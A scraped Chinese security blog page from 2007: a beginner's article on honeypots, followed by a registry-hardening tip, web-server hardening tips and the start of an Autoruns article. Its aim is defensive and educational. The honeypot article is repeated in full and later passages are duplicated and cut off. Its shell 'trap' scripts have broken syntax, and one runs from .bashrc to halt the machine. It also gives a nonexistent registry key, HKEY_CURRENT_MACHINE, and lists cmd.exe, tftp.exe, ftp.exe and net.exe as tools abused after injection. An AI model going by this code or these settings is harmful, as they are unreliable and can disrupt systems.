浅谈蜜罐诱骗的基础知识
[ 2007-03-25 03:08:17 | 作者: sun ]
1.引言
随着人类社会生活对Internet需求的日益增长,网络安全逐渐成为Internet及各项网络服务和应用进一步发展的关键问题,特别是1993年以后Internet开始商用化,通过Internet进行的各种电子商务业务日益增多,加之Internet/Intranet技术日趋成熟,很多组织和企业都建立了自己的内部网络并将之与Internet联通。上述上电子商务应用和企业网络中的商业秘密均成为攻击者的目标。据美国商业杂志《信息周刊》公布的一项调查报告称,黑客攻击和病毒等安全问题在2000年造成了上万亿美元的经济损失,在全球范围内每数秒钟就发生一起网络攻击事件。2003年夏天,对于运行着Microsoft Windows的成千上万台主机来说简直就是场噩梦!也给广大网民留下了悲伤的回忆,这一些都归结于冲击波蠕虫的全世界范围的传播。
2.蜜罐技术的发展背景
网络与信息安全技术的核心问题是对计算机系统和网络进行有效的防护。网络安全防护涉及面很广,从技术层面上讲主要包括防火墙技术、入侵检测技术,病毒防护技术,数据加密和认证技术等。在这些安全技术中,大多数技术都是在攻击者对网络进行攻击时对系统进行被动的防护。而蜜罐技术可以采取主动的方式。顾名思义,就是用特有的特征吸引攻击者,同时对攻击者的各种攻击行为进行分析并找到有效的对付办法。(在这里,可能要声明一下,刚才也说了,“用特有的特征去吸引攻击者”,也许有人会认为你去吸引攻击者,这是不是一种自找麻烦呢,但是,我想,如果攻击者不对你进行攻击的话,你又怎么能吸引他呢?换一种说话,也许就叫诱敌深入了)。
3. 蜜罐的概念
在这里,我们首先就提出蜜罐的概念。美国 L.Spizner是一个著名的蜜罐技术专家。他曾对蜜罐做了这样的一个定义:蜜罐是一种资源,它的价值是被攻击或攻陷。这就意味着蜜罐是用来被探测、被攻击甚至最后被攻陷的,蜜罐不会修补任何东西,这样就为使用者提供了额外的、有价值的信息。蜜罐不会直接提高计算机网络安全,但是它却是其他安全策略所不可替代的一种主动防御技术。
具体的来讲,蜜罐系统最为重要的功能是对系统中所有操作和行为进行监视和记录,可以网络安全专家通过精心的伪装,使得攻击者在进入到目标系统后仍不知道自己所有的行为已经处于系统的监视下。为了吸引攻击者,通常在蜜罐系统上留下一些安全后门以吸引攻击者上钩,或者放置一些网络攻击者希望得到的敏感信息,当然这些信息都是虚假的信息。另外一些蜜罐系统对攻击者的聊天内容进行记录,管理员通过研究和分析这些记录,可以得到攻击者采用的攻击工具、攻击手段、攻击目的和攻击水平等信息,还能对攻击者的活动范围以及下一个攻击目标进行了解。同时在某种程度上,这些信息将会成为对攻击者进行起诉的证据。不过,它仅仅是一个对其他系统和应用的仿真,可以创建一个监禁环境将攻击者困在其中,还可以是一个标准的产品系统。无论使用者如何建立和使用蜜罐,只有它受到攻击,它的作用才能发挥出来。
4.蜜罐的具体分类和体现的安全价值
自从计算机首次互连以来,研究人员和安全专家就一直使用着各种各样的蜜罐工具,根据不同的标准可以对蜜罐技术进行不同的分类,前面已经提到,使用蜜罐技术是基于安全价值上的考虑。但是,可以肯定的就是,蜜罐技术并不会替代其他安全工具,列如防火墙、系统侦听等。这里我也就安全方面的价值来对蜜罐技术进行探讨。
★ 根据设计的最终目的不同我们可以将蜜罐分为产品型蜜罐和研究型蜜罐两类。
① 产品型蜜罐一般运用于商业组织的网络中。它的目的是减轻受组织将受到的攻击的威胁,蜜罐加强了受保护组织的安全措施。他们所做的工作就是检测并且对付恶意的攻击者。
⑴这类蜜罐在防护中所做的贡献很少,蜜罐不会将那些试图攻击的入侵者拒之门外,因为蜜罐设计的初衷就是妥协,所以它不会将入侵者拒绝在系统之外,实际上,蜜罐是希望有人闯入系统,从而进行各项记录和分析工作。
⑵虽然蜜罐的防护功能很弱,但是它却具有很强的检测功能,对于许多组织而言,想要从大量的系统日志中检测出可疑的行为是非常困难的。虽然,有入侵检测系统(IDS)的存在,但是,IDS发生的误报和漏报,让系统管理员疲于处理各种警告和误报。而蜜罐的作用体现在误报率远远低于大部分IDS工具,也务须当心特征数据库的更新和检测引擎的修改。因为蜜罐没有任何有效行为,从原理上来讲,任何连接到蜜罐的连接都应该是侦听、扫描或者攻击的一种,这样就可以极大的减低误报率和漏报率,从而简化检测的过程。从某种意义上来讲,蜜罐已经成为一个越来越复杂的安全检测工具了。
⑶如果组织内的系统已经被入侵的话,那些发生事故的系统不能进行脱机工作,这样的话,将导致系统所提供的所有产品服务都将被停止,同时,系统管理员也不能进行合适的鉴定和分析,而蜜罐可以对入侵进行响应,它提供了一个具有低数据污染的系统和牺牲系统可以随时进行脱机工作。此时,系统管理员将可以对脱机的系统进行分析,并且把分析的结果和经验运用于以后的系统中。
② 研究型蜜罐专门以研究和获取攻击信息为目的而设计。这类蜜罐并没有增强特定组织的安全性,恰恰相反,蜜罐要做的是让研究组织面队各类网络威胁,并寻找能够对付这些威胁更好的方式,它们所要进行的工作就是收集恶意攻击者的信息。它一般运用于军队,安全研究组织。
★ 根据蜜罐与攻击者之间进行的交互,可以分为3类:低交互蜜罐,中交互蜜罐和高交互蜜罐,同时这也体现了蜜罐发展的3个过程。
① 低交互蜜罐最大的特点是模拟。蜜罐为攻击者展示的所有攻击弱点和攻击对象都不是真正的产品系统,而是对各种系统及其提供的服务的模拟。由于它的服务都是模拟的行为,所以蜜罐可以获得的信息非常有限,只能对攻击者进行简单的应答,它是最安全的蜜罐类型。
② 中交互是对真正的操作系统的各种行为的模拟,它提供了更多的交互信息,同时也可以从攻击者的行为中获得更多的信息。在这个模拟行为的系统中,蜜罐可以看起来和一个真正的操作系统没有区别。它们是真正系统还要诱人的攻击目标。
③高交互蜜罐具有一个真实的操作系统,它的优点体现在对攻击者提供真实的系统,当攻击者获得ROOT权限后,受系统,数据真实性的迷惑,他的更多活动和行为将被记录下来。缺点是被入侵的可能性很高,如果整个高蜜罐被入侵,那么它就会成为攻击者下一步攻击的跳板。目前在国内外的主要蜜罐产品有DTK,空系统,BOF,SPECTER,HOME-MADE蜜罐,HONEYD,SMOKEDETECTOR,BIGEYE,LABREA TARPIT,NETFACADE,KFSENSOR,TINY蜜罐,MANTRAP,HONEYNET十四种。
5.蜜罐的配置模式
① 诱骗服务(deception service)
诱骗服务是指在特定的IP服务端口帧听并像应用服务程序那样对各种网络请求进行应答的应用程序。DTK就是这样的一个服务性产品。DTK吸引攻击者的诡计就是可执行性,但是它与攻击者进行交互的方式是模仿那些具有可攻击弱点的系统进行的,所以可以产生的应答非常有限。在这个过程中对所有的行为进行记录,同时提供较为合理的应答,并给闯入系统的攻击者带来系统并不安全的错觉。例如,当我们将诱骗服务配置为FTP服务的模式。当攻击者连接到TCP/21端口的时候,就会收到一个由蜜罐发出的FTP的标识。如果攻击者认为诱骗服务就是他要攻击的FTP,他就会采用攻击FTP服务的方式进入系统。这样,系统管理员便可以记录攻击的细节。
② 弱化系统(weakened system)
只要在外部因特网上有一台计算机运行没有打上补丁的微软Windows或者Red Hat Linux即行。这样的特点是攻击者更加容易进入系统,系统可以收集有效的攻击数据。因为黑客可能会设陷阱,以获取计算机的日志和审查功能,需要运行其他额外记录系统,实现对日志记录的异地存储和备份。它的缺点是“高维护低收益”。因为,获取已知的攻击行为是毫无意义的。
③ 强化系统(hardened system)
强化系统同弱化系统一样,提供一个真实的环境。不过此时的系统已经武装成看似足够安全的。当攻击者闯入时,蜜罐就开始收集信息,它能在最短的时间内收集最多有效数据。用这种蜜罐需要系统管理员具有更高的专业技术。如果攻击者具有更高的技术,那么,他很可能取代管理员对系统的控制,从而对其它系统进行攻击。
④用户模式服务器(user mode server)
用户模式服务器实际上是一个用户进程,它运行在主机上,并且模拟成一个真实的服务器。在真实主机中,每个应用程序都当作一个具有独立IP地址的操作系统和服务的特定是实例。而用户模式服务器这样一个进程就嵌套在主机操作系统的应用程序空间中,当INTERNET用户向用户模式服务器的IP地址发送请求,主机将接受请求并且转发到用户模式服务器上。(我们用这样一个图形来表示一下他们之间的关系):这种模式的成功与否取决于攻击者的进入程度和受骗程度。它的优点体现在系统管理员对用户主机有绝对的控制权。即使蜜罐被攻陷,由于用户模式服务器是一个用户进程,那么Administrator只要关闭该进程就可以了。另外就是可以将FIREWALL,IDS集中于同一台服务器上。当然,其局限性是不适用于所有的操作系统。
6.蜜罐的信息收集
当我们察觉到攻击者已经进入蜜罐的时候,接下来的任务就是数据的收集了。数据收集是设置蜜罐的另一项技术挑战。蜜罐监控者只要记录下进出系统的每个数据包,就能够对黑客的所作所为一清二楚。蜜罐本身上面的日志文件也是很好的数据来源。但日志文件很容易被攻击者删除,所以通常的办法就是让蜜罐向在同一网络上但防御机制较完善的远程系统日志服务器发送日志备份。(务必同时监控日志服务器。如果攻击者用新手法闯入了服务器,那么蜜罐无疑会证明其价值。)
近年来,由于黑帽子群体越来越多地使用加密技术,数据收集任务的难度大大增强。如今,他们接受了众多计算机安全专业人士的建议,改而采用SSH等密码协议,确保网络监控对自己的通讯无能为力。蜜网对付密码的计算就是修改目标计算机的操作系统,以便所有敲入的字符、传输的文件及其它信息都记录到另一个监控系统的日志里面。因为攻击者可能会发现这类日志,蜜网计划采用了一种隐蔽技术。譬如说,把敲入字符隐藏到NetBIOS广播数据包里面。
7.蜜罐的实际例子
下面我们以Redhat linux 9.0为平台,做一个简单的蜜罐陷阱的配置。
我们知道,黑客一旦获得root口令,就会以root身份登录,这一登录过程就是黑客入侵的必经之路。其二,黑客也可能先以普通用户身份登录,然后用su命令转换成root身份,这又是一条必经之路。
我们讨论如何在以下情况下设置陷阱:
(1)当黑客以root身份登录时;
(2)当黑客用su命令转换成root身份时;
(3)当黑客以root身份成功登录后一段时间内;
第一种情况的陷阱设置
一般情况下,只要用户输入的用户名和口令正确,就能顺利进入系统。如果我们在进入系统时设置了陷阱,并使黑客对此防不胜防,就会大大提高入侵的难度系数。例如,当黑客已获取正确的root口令,并以root身份登录时,我们在此设置一个迷魂阵,提示它,你输入的口令错误,并让它重输用户名和口令。而其实,这些提示都是虚假的,只要在某处输入一个密码就可通过。黑客因此就掉入这个陷阱,不断地输入root用户名和口令,却不断地得到口令错误的提示,从而使它怀疑所获口令的正确性,放弃入侵的企图。
给超级用户也就是root用户设置陷阱,并不会给系统带来太多的麻烦,因为,拥有root口令的人数不会太多,为了系统的安全,稍微增加一点复杂性也是值得的。这种陷阱的设置时很方便的,我们只要在root用户的.profile中加一段程序就可以了。我们完全可以在这段程序中触发其他入侵检测与预警控制程序。陷阱程序如下:
# root .profile
Clear
Echo “You had input an error password , please input again !”
Echo
Echo –n “Login:”
Read p
If ( “$p” = “123456”) then
Clear
Else
Exit
第二种情况的陷阱设置
在很多情况下,黑客会通过su命令转换成root身份,因此,必须在此设置陷阱。当黑客使用su命令,并输入正确的root口令时,也应该报错,以此来迷惑它,使它误认为口令错误,从而放弃入侵企图。这种陷阱的设置也很简单,你可以在系统的/etc/profile文件中设置一个alias,把su命令重新定义成转到普通用户的情况就可以了,例如alias su=”su user1”。这样,当使用su时,系统判断的是user1的口令,而不是root的口令,当然不能匹配。即使输入su root也是错误的,也就是说,从此屏蔽了转向root用户的可能性。
第三种情况的陷阱设置
如果前两种设置都失效了,黑客已经成功登录,就必须启用登录成功的陷阱。一旦root用户登录,就可以启动一个计时器,正常的root登录就能停止计时,而非法入侵者因不知道何处有计时器,就无法停止计时,等到一个规定的时间到,就意味着有黑客入侵,需要触发必要的控制程序,如关机处理等,以免造成损害,等待系统管理员进行善后处理。陷阱程序如下:
# .testfile
times=0
while [ $times –le 30 ] do
sleep 1
times=$[times + 1]
done
halt /* 30秒时间到,触发入侵检测与预警控制 */
将该程序放入root .bashrc中后台执行:
# root . bashrc
….
Sh .testfile&
该程序不能用Ctrl-C终止,系统管理员可用jobs命令检查到,然后用kill %n将它停止。
从上述三种陷阱的设置,我们可以看到一个一般的规律:改变正常的运行状态,设置虚假信息,使入侵者落入陷阱,从而触发入侵检测与预警控制程序。
8.关键技术设计
自蜜罐概念诞生之日起,相关技术一直在长足的发展。到今天为止,蜜罐技术应用的最高度应该说是Honeynet技术的实现。
9.总结
任何事物的存在都会有利弊,蜜罐技术的发展也是伴随着各种不同的观点而不断的成长的。蜜罐技术是通过诱导让黑客们误入歧途,消耗他们的精力,为我们加强防范赢得时间。通过蜜网让我们在受攻击的同时知道谁在使坏,目标是什么。同时也检验我们的安全策略是否正确,防线是否牢固,蜜罐的引入使我们与黑客之间同处于相互斗智的平台counter-intelligence,而不是处处遭到黑枪的被动地位。我们的网络并不安全,IDS,FIREWALL,Encryption技术都有其缺陷性,我们期待它们与蜜罐的完美结合,那将是对网络安全的最好礼物。我们完全相信,蜜罐技术必将在网络安全中发挥出极其重要的作用,一场世界上声势浩大的蜜罐技术行动必将到来~
随着人类社会生活对Internet需求的日益增长,网络安全逐渐成为Internet及各项网络服务和应用进一步发展的关键问题,特别是1993年以后Internet开始商用化,通过Internet进行的各种电子商务业务日益增多,加之Internet/Intranet技术日趋成熟,很多组织和企业都建立了自己的内部网络并将之与Internet联通。上述上电子商务应用和企业网络中的商业秘密均成为攻击者的目标。据美国商业杂志《信息周刊》公布的一项调查报告称,黑客攻击和病毒等安全问题在2000年造成了上万亿美元的经济损失,在全球范围内每数秒钟就发生一起网络攻击事件。2003年夏天,对于运行着Microsoft Windows的成千上万台主机来说简直就是场噩梦!也给广大网民留下了悲伤的回忆,这一些都归结于冲击波蠕虫的全世界范围的传播。
2.蜜罐技术的发展背景
网络与信息安全技术的核心问题是对计算机系统和网络进行有效的防护。网络安全防护涉及面很广,从技术层面上讲主要包括防火墙技术、入侵检测技术,病毒防护技术,数据加密和认证技术等。在这些安全技术中,大多数技术都是在攻击者对网络进行攻击时对系统进行被动的防护。而蜜罐技术可以采取主动的方式。顾名思义,就是用特有的特征吸引攻击者,同时对攻击者的各种攻击行为进行分析并找到有效的对付办法。(在这里,可能要声明一下,刚才也说了,“用特有的特征去吸引攻击者”,也许有人会认为你去吸引攻击者,这是不是一种自找麻烦呢,但是,我想,如果攻击者不对你进行攻击的话,你又怎么能吸引他呢?换一种说话,也许就叫诱敌深入了)。
3. 蜜罐的概念
在这里,我们首先就提出蜜罐的概念。美国 L.Spizner是一个著名的蜜罐技术专家。他曾对蜜罐做了这样的一个定义:蜜罐是一种资源,它的价值是被攻击或攻陷。这就意味着蜜罐是用来被探测、被攻击甚至最后被攻陷的,蜜罐不会修补任何东西,这样就为使用者提供了额外的、有价值的信息。蜜罐不会直接提高计算机网络安全,但是它却是其他安全策略所不可替代的一种主动防御技术。
具体的来讲,蜜罐系统最为重要的功能是对系统中所有操作和行为进行监视和记录,可以网络安全专家通过精心的伪装,使得攻击者在进入到目标系统后仍不知道自己所有的行为已经处于系统的监视下。为了吸引攻击者,通常在蜜罐系统上留下一些安全后门以吸引攻击者上钩,或者放置一些网络攻击者希望得到的敏感信息,当然这些信息都是虚假的信息。另外一些蜜罐系统对攻击者的聊天内容进行记录,管理员通过研究和分析这些记录,可以得到攻击者采用的攻击工具、攻击手段、攻击目的和攻击水平等信息,还能对攻击者的活动范围以及下一个攻击目标进行了解。同时在某种程度上,这些信息将会成为对攻击者进行起诉的证据。不过,它仅仅是一个对其他系统和应用的仿真,可以创建一个监禁环境将攻击者困在其中,还可以是一个标准的产品系统。无论使用者如何建立和使用蜜罐,只有它受到攻击,它的作用才能发挥出来。
4.蜜罐的具体分类和体现的安全价值
自从计算机首次互连以来,研究人员和安全专家就一直使用着各种各样的蜜罐工具,根据不同的标准可以对蜜罐技术进行不同的分类,前面已经提到,使用蜜罐技术是基于安全价值上的考虑。但是,可以肯定的就是,蜜罐技术并不会替代其他安全工具,列如防火墙、系统侦听等。这里我也就安全方面的价值来对蜜罐技术进行探讨。
★ 根据设计的最终目的不同我们可以将蜜罐分为产品型蜜罐和研究型蜜罐两类。
① 产品型蜜罐一般运用于商业组织的网络中。它的目的是减轻受组织将受到的攻击的威胁,蜜罐加强了受保护组织的安全措施。他们所做的工作就是检测并且对付恶意的攻击者。
⑴这类蜜罐在防护中所做的贡献很少,蜜罐不会将那些试图攻击的入侵者拒之门外,因为蜜罐设计的初衷就是妥协,所以它不会将入侵者拒绝在系统之外,实际上,蜜罐是希望有人闯入系统,从而进行各项记录和分析工作。
⑵虽然蜜罐的防护功能很弱,但是它却具有很强的检测功能,对于许多组织而言,想要从大量的系统日志中检测出可疑的行为是非常困难的。虽然,有入侵检测系统(IDS)的存在,但是,IDS发生的误报和漏报,让系统管理员疲于处理各种警告和误报。而蜜罐的作用体现在误报率远远低于大部分IDS工具,也务须当心特征数据库的更新和检测引擎的修改。因为蜜罐没有任何有效行为,从原理上来讲,任何连接到蜜罐的连接都应该是侦听、扫描或者攻击的一种,这样就可以极大的减低误报率和漏报率,从而简化检测的过程。从某种意义上来讲,蜜罐已经成为一个越来越复杂的安全检测工具了。
⑶如果组织内的系统已经被入侵的话,那些发生事故的系统不能进行脱机工作,这样的话,将导致系统所提供的所有产品服务都将被停止,同时,系统管理员也不能进行合适的鉴定和分析,而蜜罐可以对入侵进行响应,它提供了一个具有低数据污染的系统和牺牲系统可以随时进行脱机工作。此时,系统管理员将可以对脱机的系统进行分析,并且把分析的结果和经验运用于以后的系统中。
② 研究型蜜罐专门以研究和获取攻击信息为目的而设计。这类蜜罐并没有增强特定组织的安全性,恰恰相反,蜜罐要做的是让研究组织面队各类网络威胁,并寻找能够对付这些威胁更好的方式,它们所要进行的工作就是收集恶意攻击者的信息。它一般运用于军队,安全研究组织。
★ 根据蜜罐与攻击者之间进行的交互,可以分为3类:低交互蜜罐,中交互蜜罐和高交互蜜罐,同时这也体现了蜜罐发展的3个过程。
① 低交互蜜罐最大的特点是模拟。蜜罐为攻击者展示的所有攻击弱点和攻击对象都不是真正的产品系统,而是对各种系统及其提供的服务的模拟。由于它的服务都是模拟的行为,所以蜜罐可以获得的信息非常有限,只能对攻击者进行简单的应答,它是最安全的蜜罐类型。
② 中交互是对真正的操作系统的各种行为的模拟,它提供了更多的交互信息,同时也可以从攻击者的行为中获得更多的信息。在这个模拟行为的系统中,蜜罐可以看起来和一个真正的操作系统没有区别。它们是真正系统还要诱人的攻击目标。
③高交互蜜罐具有一个真实的操作系统,它的优点体现在对攻击者提供真实的系统,当攻击者获得ROOT权限后,受系统,数据真实性的迷惑,他的更多活动和行为将被记录下来。缺点是被入侵的可能性很高,如果整个高蜜罐被入侵,那么它就会成为攻击者下一步攻击的跳板。目前在国内外的主要蜜罐产品有DTK,空系统,BOF,SPECTER,HOME-MADE蜜罐,HONEYD,SMOKEDETECTOR,BIGEYE,LABREA TARPIT,NETFACADE,KFSENSOR,TINY蜜罐,MANTRAP,HONEYNET十四种。
5.蜜罐的配置模式
① 诱骗服务(deception service)
诱骗服务是指在特定的IP服务端口帧听并像应用服务程序那样对各种网络请求进行应答的应用程序。DTK就是这样的一个服务性产品。DTK吸引攻击者的诡计就是可执行性,但是它与攻击者进行交互的方式是模仿那些具有可攻击弱点的系统进行的,所以可以产生的应答非常有限。在这个过程中对所有的行为进行记录,同时提供较为合理的应答,并给闯入系统的攻击者带来系统并不安全的错觉。例如,当我们将诱骗服务配置为FTP服务的模式。当攻击者连接到TCP/21端口的时候,就会收到一个由蜜罐发出的FTP的标识。如果攻击者认为诱骗服务就是他要攻击的FTP,他就会采用攻击FTP服务的方式进入系统。这样,系统管理员便可以记录攻击的细节。
② 弱化系统(weakened system)
只要在外部因特网上有一台计算机运行没有打上补丁的微软Windows或者Red Hat Linux即行。这样的特点是攻击者更加容易进入系统,系统可以收集有效的攻击数据。因为黑客可能会设陷阱,以获取计算机的日志和审查功能,需要运行其他额外记录系统,实现对日志记录的异地存储和备份。它的缺点是“高维护低收益”。因为,获取已知的攻击行为是毫无意义的。
③ 强化系统(hardened system)
强化系统同弱化系统一样,提供一个真实的环境。不过此时的系统已经武装成看似足够安全的。当攻击者闯入时,蜜罐就开始收集信息,它能在最短的时间内收集最多有效数据。用这种蜜罐需要系统管理员具有更高的专业技术。如果攻击者具有更高的技术,那么,他很可能取代管理员对系统的控制,从而对其它系统进行攻击。
④用户模式服务器(user mode server)
用户模式服务器实际上是一个用户进程,它运行在主机上,并且模拟成一个真实的服务器。在真实主机中,每个应用程序都当作一个具有独立IP地址的操作系统和服务的特定是实例。而用户模式服务器这样一个进程就嵌套在主机操作系统的应用程序空间中,当INTERNET用户向用户模式服务器的IP地址发送请求,主机将接受请求并且转发到用户模式服务器上。(我们用这样一个图形来表示一下他们之间的关系):这种模式的成功与否取决于攻击者的进入程度和受骗程度。它的优点体现在系统管理员对用户主机有绝对的控制权。即使蜜罐被攻陷,由于用户模式服务器是一个用户进程,那么Administrator只要关闭该进程就可以了。另外就是可以将FIREWALL,IDS集中于同一台服务器上。当然,其局限性是不适用于所有的操作系统。
6.蜜罐的信息收集
当我们察觉到攻击者已经进入蜜罐的时候,接下来的任务就是数据的收集了。数据收集是设置蜜罐的另一项技术挑战。蜜罐监控者只要记录下进出系统的每个数据包,就能够对黑客的所作所为一清二楚。蜜罐本身上面的日志文件也是很好的数据来源。但日志文件很容易被攻击者删除,所以通常的办法就是让蜜罐向在同一网络上但防御机制较完善的远程系统日志服务器发送日志备份。(务必同时监控日志服务器。如果攻击者用新手法闯入了服务器,那么蜜罐无疑会证明其价值。)
近年来,由于黑帽子群体越来越多地使用加密技术,数据收集任务的难度大大增强。如今,他们接受了众多计算机安全专业人士的建议,改而采用SSH等密码协议,确保网络监控对自己的通讯无能为力。蜜网对付密码的计算就是修改目标计算机的操作系统,以便所有敲入的字符、传输的文件及其它信息都记录到另一个监控系统的日志里面。因为攻击者可能会发现这类日志,蜜网计划采用了一种隐蔽技术。譬如说,把敲入字符隐藏到NetBIOS广播数据包里面。
7.蜜罐的实际例子
下面我们以Redhat linux 9.0为平台,做一个简单的蜜罐陷阱的配置。
我们知道,黑客一旦获得root口令,就会以root身份登录,这一登录过程就是黑客入侵的必经之路。其二,黑客也可能先以普通用户身份登录,然后用su命令转换成root身份,这又是一条必经之路。
我们讨论如何在以下情况下设置陷阱:
(1)当黑客以root身份登录时;
(2)当黑客用su命令转换成root身份时;
(3)当黑客以root身份成功登录后一段时间内;
第一种情况的陷阱设置
一般情况下,只要用户输入的用户名和口令正确,就能顺利进入系统。如果我们在进入系统时设置了陷阱,并使黑客对此防不胜防,就会大大提高入侵的难度系数。例如,当黑客已获取正确的root口令,并以root身份登录时,我们在此设置一个迷魂阵,提示它,你输入的口令错误,并让它重输用户名和口令。而其实,这些提示都是虚假的,只要在某处输入一个密码就可通过。黑客因此就掉入这个陷阱,不断地输入root用户名和口令,却不断地得到口令错误的提示,从而使它怀疑所获口令的正确性,放弃入侵的企图。
给超级用户也就是root用户设置陷阱,并不会给系统带来太多的麻烦,因为,拥有root口令的人数不会太多,为了系统的安全,稍微增加一点复杂性也是值得的。这种陷阱的设置时很方便的,我们只要在root用户的.profile中加一段程序就可以了。我们完全可以在这段程序中触发其他入侵检测与预警控制程序。陷阱程序如下:
# root .profile
Clear
Echo “You had input an error password , please input again !”
Echo
Echo –n “Login:”
Read p
If ( “$p” = “123456”) then
Clear
Else
Exit
第二种情况的陷阱设置
在很多情况下,黑客会通过su命令转换成root身份,因此,必须在此设置陷阱。当黑客使用su命令,并输入正确的root口令时,也应该报错,以此来迷惑它,使它误认为口令错误,从而放弃入侵企图。这种陷阱的设置也很简单,你可以在系统的/etc/profile文件中设置一个alias,把su命令重新定义成转到普通用户的情况就可以了,例如alias su=”su user1”。这样,当使用su时,系统判断的是user1的口令,而不是root的口令,当然不能匹配。即使输入su root也是错误的,也就是说,从此屏蔽了转向root用户的可能性。
第三种情况的陷阱设置
如果前两种设置都失效了,黑客已经成功登录,就必须启用登录成功的陷阱。一旦root用户登录,就可以启动一个计时器,正常的root登录就能停止计时,而非法入侵者因不知道何处有计时器,就无法停止计时,等到一个规定的时间到,就意味着有黑客入侵,需要触发必要的控制程序,如关机处理等,以免造成损害,等待系统管理员进行善后处理。陷阱程序如下:
# .testfile
times=0
while [ $times –le 30 ] do
sleep 1
times=$[times + 1]
done
halt /* 30秒时间到,触发入侵检测与预警控制 */
将该程序放入root .bashrc中后台执行:
# root . bashrc
….
Sh .testfile&
该程序不能用Ctrl-C终止,系统管理员可用jobs命令检查到,然后用kill %n将它停止。
从上述三种陷阱的设置,我们可以看到一个一般的规律:改变正常的运行状态,设置虚假信息,使入侵者落入陷阱,从而触发入侵检测与预警控制程序。
8.关键技术设计
自蜜罐概念诞生之日起,相关技术一直在长足的发展。到今天为止,蜜罐技术应用的最高度应该说是Honeynet技术的实现。
9.总结
任何事物的存在都会有利弊,蜜罐技术的发展也是伴随着各种不同的观点而不断的成长的。蜜罐技术是通过诱导让黑客们误入歧途,消耗他们的精力,为我们加强防范赢得时间。通过蜜网让我们在受攻击的同时知道谁在使坏,目标是什么。同时也检验我们的安全策略是否正确,防线是否牢固,蜜罐的引入使我们与黑客之间同处于相互斗智的平台counter-intelligence,而不是处处遭到黑枪的被动地位。我们的网络并不安全,IDS,FIREWALL,Encryption技术都有其缺陷性,我们期待它们与蜜罐的完美结合,那将是对网络安全的最好礼物。我们完全相信,蜜罐技术必将在网络安全中发挥出极其重要的作用,一场世界上声势浩大的蜜罐技术行动必将到来~
安全隐患:很多病毒都是通过注册表中的RUN值进行加载而实现随操作系统的启动而启动的,我们可以按照“禁止病毒启动服务”中介绍的方法将病毒和木马对该键值的修改权限去掉。
解决方法:运行“regedt32”指令启动注册表编辑器,找到注册表中的
HKEY_CURRENT_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\RUN
分支,将Everyone对该分支的“读取”权限设置为“允许”,取消对“完全控制”权限的选择。这样病毒和木马就无法通过该键值启动自身了。
病毒和木马是不断“发展”的,我们也要不断学习新的防护知识,才能抵御病毒和木马的入侵。与其在感染病毒或木马后再进行查杀,不如提前做好防御工作,修筑好牢固的城墙进行抵御。毕竟亡羊补牢不是我们所希望发生的事情,“防患于未然”才是我们应该追求的。
解决方法:运行“regedt32”指令启动注册表编辑器,找到注册表中的
HKEY_CURRENT_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\RUN
分支,将Everyone对该分支的“读取”权限设置为“允许”,取消对“完全控制”权限的选择。这样病毒和木马就无法通过该键值启动自身了。
病毒和木马是不断“发展”的,我们也要不断学习新的防护知识,才能抵御病毒和木马的入侵。与其在感染病毒或木马后再进行查杀,不如提前做好防御工作,修筑好牢固的城墙进行抵御。毕竟亡羊补牢不是我们所希望发生的事情,“防患于未然”才是我们应该追求的。
防止被黑之网络服务器安全经验谈
[ 2007-03-25 03:07:47 | 作者: sun ]
1、对数据库进行安全配置,例如你的程序连接数据库所使用的帐户/口令/权限,如果是浏览新闻的,用只读权限即可;可以对不同的模块使用不同的帐户/权限;另外,数据库的哪些存储过程可以调用,也要进行严格地配置,用不到的全部禁用(特别是cmd这种),防止注入后利用数据库的存储过程进行系统调用;
2、在获取客户端提交的参数时,进行严格的过滤,包括参数长短、参数类型等等;
3、对管理员后台进行严格的保护,有条件的话,应该设置为只允许特定的IP访问(例如只允许管理员网段访问)——这个要根据实际情况来看的;
4、对操作系统进行安全配置,防止注入后调用系统的功能,例如把
cmd.exe/tftp.exe/ftp.exe/net.exe
这些文件全部转移到其他目录,并对目录进行严格的权限指派;
5、设置网络访问控制;
6、有条件的话,配置针对HTTP的内容过滤,过滤病毒、恶意脚本等;
7、如果有必要,可以考虑选择HTTPS,这样可以防止很多的注入工具扫描,我以前自己开发注入检测工具的时候,考虑过做支持HTTPS方式的,但目前还没付诸实施。
相信你也看出来了,总的来说程序方面主要考虑权限、参数过滤等问题;权限主要包括IIS浏览权限、数据库调用权限。除此以外,还要考虑数据库、操作系统的安全配置。另外,不知道你们在开发过程中会不会用到其他人开发的组件,例如图片上传之类的,这类组件你们研究过其安全性么?或者开发的过程中,绝大多数人会使用网上、书上提供的现成代码,例如用户登录验证等等,这些公开代码,也要研究其安全性问题。
2、在获取客户端提交的参数时,进行严格的过滤,包括参数长短、参数类型等等;
3、对管理员后台进行严格的保护,有条件的话,应该设置为只允许特定的IP访问(例如只允许管理员网段访问)——这个要根据实际情况来看的;
4、对操作系统进行安全配置,防止注入后调用系统的功能,例如把
cmd.exe/tftp.exe/ftp.exe/net.exe
这些文件全部转移到其他目录,并对目录进行严格的权限指派;
5、设置网络访问控制;
6、有条件的话,配置针对HTTP的内容过滤,过滤病毒、恶意脚本等;
7、如果有必要,可以考虑选择HTTPS,这样可以防止很多的注入工具扫描,我以前自己开发注入检测工具的时候,考虑过做支持HTTPS方式的,但目前还没付诸实施。
相信你也看出来了,总的来说程序方面主要考虑权限、参数过滤等问题;权限主要包括IIS浏览权限、数据库调用权限。除此以外,还要考虑数据库、操作系统的安全配置。另外,不知道你们在开发过程中会不会用到其他人开发的组件,例如图片上传之类的,这类组件你们研究过其安全性么?或者开发的过程中,绝大多数人会使用网上、书上提供的现成代码,例如用户登录验证等等,这些公开代码,也要研究其安全性问题。
用Autoruns揪出流氓软件的驱动保护
[ 2007-03-25 03:07:18 | 作者: sun ]
一、为什么流氓软件总是删不掉?
经常有网友发贴子说文件删除不掉,或者流氓软件清除不了,或者删除了相关的文件,但是马上它又出现了。现在流氓软件为了保护自己,采取的手段是五花八门,无所不用其极:进程保护,交叉感染,自启动,自我恢复,文件隐藏,进程注入,驱动保护。
